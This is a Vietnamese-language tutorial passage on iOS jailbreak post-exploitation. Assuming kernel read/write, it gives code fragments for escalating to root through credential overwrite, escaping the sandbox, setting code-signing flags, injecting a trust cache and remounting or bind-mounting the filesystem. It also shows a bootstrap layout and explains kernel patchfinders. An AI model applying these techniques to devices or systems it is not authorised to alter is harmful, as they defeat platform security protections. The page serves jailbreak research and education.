Post-Exploitation
Sau khi có kernel read/write, đây là các bước biến primitive thành full jailbreak.
Post-Exploitation Steps
Step 1: Get Root
// Tìm current process
uint64_t proc = find_proc_by_pid(getpid());
// Đọc p_ucred pointer
uint64_t ucred = kread64(proc + off_p_ucred);
// Ghi uid = 0
kwrite32(ucred + off_cr_uid, 0);
kwrite32(ucred + off_cr_ruid, 0);
kwrite32(ucred + off_cr_svuid, 0);
kwrite32(ucred + off_cr_gid, 0);
kwrite32(ucred + off_cr_rgid, 0);
// Verify
assert(getuid() == 0);
Step 2: Escape Sandbox
// Option A: NULL sandbox slot
uint64_t sandbox_slot = kread64(ucred + off_cr_label + off_sandbox_slot);
kwrite64(ucred + off_cr_label + off_sandbox_slot, 0);
// Option B: Copy sandbox from unsandboxed process (e.g., launchd)
uint64_t launchd_proc = find_proc_by_pid(1);
uint64_t launchd_ucred = kread64(launchd_proc + off_p_ucred);
uint64_t launchd_sandbox = kread64(launchd_ucred + off_cr_label + off_sandbox_slot);
kwrite64(ucred + off_cr_label + off_sandbox_slot, launchd_sandbox);
Step 3: Set Platform Binary Flag
// Platform binary flag cho phép dùng private entitlements
uint32_t csflags = kread32(proc + off_p_csflags);
csflags |= CS_PLATFORM_BINARY;
csflags |= CS_INSTALLER;
csflags |= CS_GET_TASK_ALLOW;
csflags &= ~CS_RESTRICT;
csflags &= ~CS_HARD;
csflags &= ~CS_KILL;
kwrite32(proc + off_p_csflags, csflags);
Step 4: Bypass Code Signing (Trust Cache Injection)
// Tìm trustcache linked list trong kernel
uint64_t tc_head = kernel_slide + off_pmap_image4_trust_caches;
// Allocate kernel memory cho new trust cache
uint64_t new_tc = kalloc(sizeof(trust_cache_v2) + n_entries * sizeof(trust_cache_entry_v2));
// Fill trust cache entries với cd_hashes của jailbreak binaries
for (int i = 0; i < n_entries; i++) {
kwrite(new_tc + header_size + i * entry_size, &entries[i], entry_size);
}
// Link vào head of list
uint64_t old_head = kread64(tc_head);
kwrite64(new_tc + off_tc_next, old_head);
kwrite64(tc_head, new_tc);
Step 5: Remount / Bind Mount
iOS < 15 (rootful jailbreak):
// Remount rootfs as read-write
uint64_t rootvnode = kread64(kernel_slide + off_rootvnode);
uint32_t mount_flags = kread32(rootvnode + off_v_mount + off_mnt_flag);
mount_flags &= ~MNT_RDONLY;
mount_flags &= ~MNT_NOSUID;
kwrite32(rootvnode + off_v_mount + off_mnt_flag, mount_flags);
mount("apfs", "/", MNT_UPDATE, ...);
iOS 15+ (rootless jailbreak):
SSV (Signed System Volume) prevents rootfs modification.
Instead: bind mounts
mount --bind /var/jb/usr/lib /usr/lib
→ /usr/lib now serves content from /var/jb/usr/lib
→ System partition unchanged
Step 6: Install Bootstrap
1. Inject jailbreak dylib vào launchd (PID 1)
→ Hook posix_spawn/exec → inject into all new processes
2. Install package manager (Sileo, Zebra)
3. Install tweak injection framework (Ellekit, Substitute)
4. Install essential tools (SSH, dpkg, apt)
Rootless layout (/var/jb/):
/var/jb/
├── usr/
│ ├── bin/ ← dpkg, apt, ssh, ...
│ └── lib/ ← tweaks, frameworks
├── Library/
│ ├── MobileSubstrate/
│ │ └── DynamicLibraries/ ← tweak .dylib files
│ └── PreferenceBundles/ ← tweak settings
└── etc/
Modern vs Classic Jailbreak
| Aspect | Classic (iOS ≤14) | Modern (iOS 15+) |
|---|---|---|
| Rootfs | Read-write remount | Bind mounts (rootless) |
| Code signing | Patch AMFI + amfid hook | Trust cache injection |
| Kernel patches | Direct kernel text patch | KPF (kernel patchfinder) patches data only |
| Tweak injection | CydiaSubstrate / Substitute | Ellekit / libhooker |
| Package manager | Cydia | Sileo / Zebra |
| Persistence | Semi-untethered app | Semi-untethered app |
Kernel Patchfinder (KPF)
KPF tự động tìm kernel offsets bằng cách scan kernelcache:
Input: kernelcache binary
Output: offsets cho mọi symbol/struct field cần thiết
Cần tìm:
- allproc (process list head)
- kernel_task (kernel task struct)
- rootvnode (root filesystem vnode)
- pmap_image4_trust_caches (trust cache list)
- Struct field offsets (p_ucred, cr_uid, ...)
Phương pháp:
- Pattern matching trên ARM64 instructions
- String reference tracing
- Cross-reference analysis